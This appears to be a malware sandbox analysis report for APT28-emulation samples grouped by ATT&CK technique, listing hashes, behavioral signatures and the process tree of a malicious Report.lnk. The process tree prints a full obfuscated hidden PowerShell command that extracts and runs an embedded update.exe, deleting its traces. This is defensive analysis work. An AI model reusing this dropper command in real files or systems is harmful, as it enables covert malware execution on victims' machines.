Overview
overview
8Static
static
8APT28/1-IA...d.docx
windows7-x64
4APT28/1-IA...d.docx
windows10-2004-x64
1APT28/2-Ex...ad.ps1
windows7-x64
3APT28/2-Ex...ad.ps1
windows10-2004-x64
3APT28/2-Ex...st.bat
windows7-x64
8APT28/2-Ex...st.bat
windows10-2004-x64
8APT28/2-Ex...ad.vbs
windows7-x64
8APT28/2-Ex...ad.vbs
windows10-2004-x64
8APT28/2-Ex...d.docm
windows7-x64
4APT28/2-Ex...d.docm
windows10-2004-x64
1APT28/2-Ex...nk.exe
windows7-x64
1APT28/2-Ex...nk.exe
windows10-2004-x64
1APT28/2-Ex...rt.lnk
windows7-x64
8APT28/2-Ex...rt.lnk
windows10-2004-x64
8APT28/2-Ex...ip.exe
windows7-x64
1APT28/2-Ex...ip.exe
windows10-2004-x64
3APT28/2-Ex...te.exe
windows7-x64
1APT28/2-Ex...te.exe
windows10-2004-x64
1update.exe
windows7-x64
1update.exe
windows10-2004-x64
1APT28/3-Pe...st.exe
windows7-x64
1APT28/3-Pe...st.exe
windows10-2004-x64
1APT28/3-Pe...st.dll
windows7-x64
1APT28/3-Pe...st.dll
windows10-2004-x64
1APT28/3-Pe...32.dll
windows7-x64
3APT28/3-Pe...32.dll
windows10-2004-x64
3APT28/3-Pe...64.dll
windows7-x64
1APT28/3-Pe...64.dll
windows10-2004-x64
1APT28/4-Pr...to.exe
windows7-x64
1APT28/4-Pr...to.exe
windows10-2004-x64
1APT28/4-Pr...LG.exe
windows7-x64
1APT28/4-Pr...LG.exe
windows10-2004-x64
1Analysis
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max time kernel
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max time network
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platform
windows10-2004_x64 -
resource
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resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
19/11/2024, 11:26
Behavioral task
behavioral1
Sample
APT28/1-IA/T1566-phishing/T1566.001 Phishing SpearPhishing Attachment/payload.docx
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
APT28/1-IA/T1566-phishing/T1566.001 Phishing SpearPhishing Attachment/payload.docx
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
APT28/2-Execution/T1059.001-Powershell/payload.ps1
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
APT28/2-Execution/T1059.001-Powershell/payload.ps1
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
APT28/2-Execution/T1059.003-cmd/test.bat
Resource
win7-20241010-en
Behavioral task
behavioral6
Sample
APT28/2-Execution/T1059.003-cmd/test.bat
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
APT28/2-Execution/T1059.005-VB/payload.vbs
Resource
win7-20241023-en
Behavioral task
behavioral8
Sample
APT28/2-Execution/T1059.005-VB/payload.vbs
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
APT28/2-Execution/T1204.002 Malicious File/payload.docm
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
APT28/2-Execution/T1204.002 Malicious File/payload.docm
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
APT28/2-Execution/lnk/EmbedExeLnk.exe
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
APT28/2-Execution/lnk/EmbedExeLnk.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
APT28/2-Execution/lnk/Report.lnk
Resource
win7-20240729-en
Behavioral task
behavioral14
Sample
APT28/2-Execution/lnk/Report.lnk
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
APT28/2-Execution/lnk/gen-embed-zip.exe
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
APT28/2-Execution/lnk/gen-embed-zip.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
APT28/2-Execution/lnk/update.exe
Resource
win7-20240903-en
Behavioral task
behavioral18
Sample
APT28/2-Execution/lnk/update.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
update.exe
Resource
win7-20240903-en
Behavioral task
behavioral20
Sample
update.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral21
Sample
APT28/3-Persistence/SharPersist.exe
Resource
win7-20241023-en
Behavioral task
behavioral22
Sample
APT28/3-Persistence/SharPersist.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral23
Sample
APT28/3-Persistence/T1137 Office Application Startup/Office Test T1137.002/officetest.dll
Resource
win7-20241010-en
Behavioral task
behavioral24
Sample
APT28/3-Persistence/T1137 Office Application Startup/Office Test T1137.002/officetest.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral25
Sample
APT28/3-Persistence/T1137 Office Application Startup/Office Test T1137.002/payload32.dll
Resource
win7-20241010-en
Behavioral task
behavioral26
Sample
APT28/3-Persistence/T1137 Office Application Startup/Office Test T1137.002/payload32.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral27
Sample
APT28/3-Persistence/T1137 Office Application Startup/Office Test T1137.002/payload64.dll
Resource
win7-20240903-en
Behavioral task
behavioral28
Sample
APT28/3-Persistence/T1137 Office Application Startup/Office Test T1137.002/payload64.dll
Resource
win10v2004-20241007-en
Behavioral task
behavioral29
Sample
APT28/4-Privilege Escalation/T1134 Access Token MAnipulation/Token improsonation theft/BadPotato.exe
Resource
win7-20240903-en
Behavioral task
behavioral30
Sample
APT28/4-Privilege Escalation/T1134 Access Token MAnipulation/Token improsonation theft/BadPotato.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral31
Sample
APT28/4-Privilege Escalation/T1134 Access Token MAnipulation/Token improsonation theft/NSudoLG.exe
Resource
win7-20241023-en
Behavioral task
behavioral32
Sample
APT28/4-Privilege Escalation/T1134 Access Token MAnipulation/Token improsonation theft/NSudoLG.exe
Resource
win10v2004-20241007-en
General
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Target
APT28/2-Execution/lnk/Report.lnk
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Size
204KB
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MD5
ef4579d6e1e665056bc593ecbad1e473
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SHA1
de45b08deb1cccf50215a1318d83adf39d67f257
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SHA256
37d7f927abcd4d1bf617e8279b8b8d7c8b14abec089e856faa6ffe36937c4e16
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SHA512
3ad5ef1e96a97009726322384a497ffedd5c48f6fc64ce7349adeabc99156f54df510f9cb5a5f49bc0d8b6a32a994756ea9b02f6dbff78f6ed2c7cc057d9d230
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SSDEEP
3072:J6LpD98Rr6vKDHJX0DPlHoPUBXgWXGMpgE6oLV2ISgA+4pOyB3yF3vxskk1GovNB:w4HhglHoyX8E6+V4gp9yBi3vxsXRb
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3764 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 528 update.exe -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3764 powershell.exe 3764 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3764 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2288 wrote to memory of 2212 2288 cmd.exe 86 PID 2288 wrote to memory of 2212 2288 cmd.exe 86 PID 2212 wrote to memory of 3764 2212 cmd.exe 88 PID 2212 wrote to memory of 3764 2212 cmd.exe 88 PID 3764 wrote to memory of 528 3764 powershell.exe 89 PID 3764 wrote to memory of 528 3764 powershell.exe 89
Processes
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C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\APT28\2-Execution\lnk\Report.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2288 -
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $obf_lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 00209578} ^| Select-Object -ExpandProperty FullName;$obf_file = [system.io.file]::ReadAllBytes($obf_lnkpath);$obf_path = 'C:\Users\Admin\AppData\Local\Temp\tmp'+(Get-Random)+'.zip';$obf_path = [Environment]::ExpandEnvironmentVariables($obf_path);$obf_dir = [System.IO.Path]::GetDirectoryName($obf_path);[System.IO.File]::WriteAllBytes($obf_path, $obf_file[003412..($obf_file.length)]);cd $obf_dir;Expand-Archive -Path $obf_path -DestinationPath . -EA SilentlyContinue -Force ^| Out-Null;Remove-Item -Path $obf_path -EA SilentlyContinue -Force ^| Out-Null;^& .\update.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2212 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden $obf_lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 00209578} | Select-Object -ExpandProperty FullName;$obf_file = [system.io.file]::ReadAllBytes($obf_lnkpath);$obf_path = 'C:\Users\Admin\AppData\Local\Temp\tmp'+(Get-Random)+'.zip';$obf_path = [Environment]::ExpandEnvironmentVariables($obf_path);$obf_dir = [System.IO.Path]::GetDirectoryName($obf_path);[System.IO.File]::WriteAllBytes($obf_path, $obf_file[003412..($obf_file.length)]);cd $obf_dir;Expand-Archive -Path $obf_path -DestinationPath . -EA SilentlyContinue -Force | Out-Null;Remove-Item -Path $obf_path -EA SilentlyContinue -Force | Out-Null;& .\update.exe3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Users\Admin\AppData\Local\Temp\update.exe"C:\Users\Admin\AppData\Local\Temp\update.exe"4⤵
- Executes dropped EXE
PID:528
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Network
MITRE ATT&CK Enterprise v15
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
321KB
MD5536998185193b231e62d404c51121b8c
SHA10b86221d0237f06081e286746b1b5bb836ad4004
SHA256d69fa80c8e54e8331e63c2d130a5d7b475f8c378971d9571db1d368662f7d6fd
SHA512789f9bbac831b54aeb4c2dfb61d35e21f9b031897bc1d4daa37fad48ddd849223a6a1432a9428953b1b2541960c2b9367709ed17e22d2852ae6dc96f82a9bd09